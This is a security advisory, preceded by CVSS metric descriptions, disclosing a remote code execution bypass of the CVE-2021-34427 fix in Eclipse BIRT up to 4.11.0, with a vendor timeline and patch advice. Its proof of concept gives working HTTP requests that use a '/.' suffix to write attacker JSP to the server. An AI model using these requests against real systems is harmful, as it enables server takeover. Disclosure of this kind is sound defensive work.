The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Eclipse Business Intelligence Reporting Tool 4.11.0 Remote Code Execution
SEC Consult Vulnerability Lab Security Advisory < 20221216-0 >
=======================================================================
title: Remote code execution - CVE-2021-34427 bypass
product: Eclipse Business Intelligence Reporting Tool (BiRT)
vulnerable version: <= 4.11.0
fixed version: 4.12
CVE number: CVE-2021-34427
impact: High
homepage: https://eclipse.github.io/birt-website/
found: 2022-10-05
by: Armin Stock (Atos)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos company
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"With BIRT you can create data visualizations, dashboards and reports
that can be embedded into web applications and rich clients. Make information out
of your data!"
https://eclipse.github.io/birt-website/
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.
Vulnerability overview/description:
-----------------------------------
1) Remote code execution - CVE-2021-34427 bypass
The vulnerability described in CVE-2021-34427 (https://www.cvedetails.com/cve/CVE-2021-34427/)
allows an attacker to execute code on the server, by creating a `.jsp` file
with the `BiRT - WebViewerExample`. This was fixed with the following code:
-------------------------------------------------------------------------------
// viewer/org.eclipse.birt.report.viewer/birt/WEB-INF/classes/org/eclipse/birt/report/context/ViewerAttributeBean.java#L1081
protected static void checkExtensionAllowedForRPTDocument(String rptDocumentName) throws ViewerException {
int extIndex = rptDocumentName.lastIndexOf(".");
String extension = null;
boolean validExtension = true;
if (extIndex > -1 && (extIndex + 1) < rptDocumentName.length()) {
extension = rptDocumentName.substring(extIndex + 1);
if (!disallowedExtensionsForRptDocument.isEmpty()
&& disallowedExtensionsForRptDocument.contains(extension)) {
validExtension = false;
}
if (!allowedExtensionsForRptDocument.isEmpty() && !allowedExtensionsForRptDocument.contains(extension)) {
validExtension = false;
}
if (!validExtension) {
throw new ViewerException(BirtResources.getMessage(
ResourceConstants.ERROR_INVALID_EXTENSION_FOR_DOCUMENT_PARAMETER, new String[] { extension }));
}
}
}
-------------------------------------------------------------------------------
This fix can be easily bypassed by adding `/.` to the filename which allows
an attacker to execute arbitrary code.
Proof of concept:
-----------------
1) Remote code execution - CVE-2021-34427 bypass
The old exploit results in an error message:
-------------------------------------------------------------------------------
GET /birt/document?__report=test.rptdesign&sample=<@urlencode_all><% out.println("OS: " + System.getProperty("os.name")); out.println("Current dir: " +
getServletContext().getRealPath("/"));%><@/urlencode_all>&__document=<@urlencode>./test/info-new.jsp<@/urlencode> HTTP/1.1
Host: IP:18080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=C2A5FE509AD277742111569F8656881A
Upgrade-Insecure-Requests: 1
-------------------------------------------------------------------------------
Response:
-------------------------------------------------------------------------------
HTTP/1.1 200
Set-Cookie: JSESSIONID=A1E37E7FEC80DFFF155CAF9F642ADEB7; Path=/birt; HttpOnly
Content-Type: text/html;charset=utf-8
Date: Wed, 05 Oct 2022 06:14:54 GMT
Connection: close
Content-Length: 4644
<html>
<head>
<title>Error</title>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8"/>
</head>
<body>
<div id="birt_errorPage" style="color:red">
<span id="error_icon" style="cursor:pointer" onclick="if (document.getElementById('error_detail').style.display == 'none') { document.getElementById('error_icon').innerHTML = '- ';
document.getElementById('error_detail').style.display = 'block'; }else { document.getElementById('error_icon').innerHTML = '+ '; document.getElementById('error_detail').style.display = 'none'; }" > +
</span>
Invalid extension - "jsp" for the __document parameter.
-------------------------------------------------------------------------------
But adding `/.` to the end of the filename creates the file on the server as
before:
-------------------------------------------------------------------------------
GET /birt/document?__report=test.rptdesign&sample=<@urlencode_all><% out.println("OS: " + System.getProperty("os.name")); out.println("Current dir: " +
getServletContext().getRealPath("/"));%><@/urlencode_all>&__document=<@urlencode>./test/info-new.jsp/.<@/urlencode> HTTP/1.1
Host: IP:18080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=C2A5FE509AD277742111569F8656881A
Upgrade-Insecure-Requests: 1
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
HTTP/1.1 200
Set-Cookie: JSESSIONID=5CC070E6E07D94816BF67A162E7DD8D2; Path=/birt; HttpOnly
Content-Type: text/html;charset=utf-8
Date: Wed, 05 Oct 2022 05:26:01 GMT
Connection: close
Content-Length: 283
<html><head><title>Complete</title><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8"></head>
<body style="background-color: #ECE9D8;">
<div style="font-size:10pt;"><font color="black">
The report document file has been generated successfully.</font>
</div></body></html>
-------------------------------------------------------------------------------
This allows the execution of the provided `JSP` code, by calling
`/birt/test/info-new.jsp`.
Vulnerable / tested versions:
-----------------------------
The following version has been tested, but all versions <= 4.11 are vulnerable.
* 4.10.0 (2022-10-01)
Vendor contact timeline:
------------------------
2022-11-07: Vendor contacted via bugs.eclipse.org (https://bugs.eclipse.org/bugs/show_bug.cgi?id=580994)
2022-11-17: Vendor confirmed the bypass and is working on a fix.
2022-11-17: Vendor provided a fix.
2022-11-27: The fix was tested and could be bypassed again.
2022-11-27: Vendor acknowledged the bypass and provided a new fix.
2022-11-28: The fix was tested and we were not able to bypass it.
2022-11-30: Vendor releases patched version 4.12
2022-12-16: Public release of security advisory.
Solution:
---------
Update Eclipse BIRT to version 4.12 or newer from the vendor's website:
https://projects.eclipse.org/projects/technology.birt/releases/4.12.0
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult, an Atos company
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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EOF Armin Stock / @2022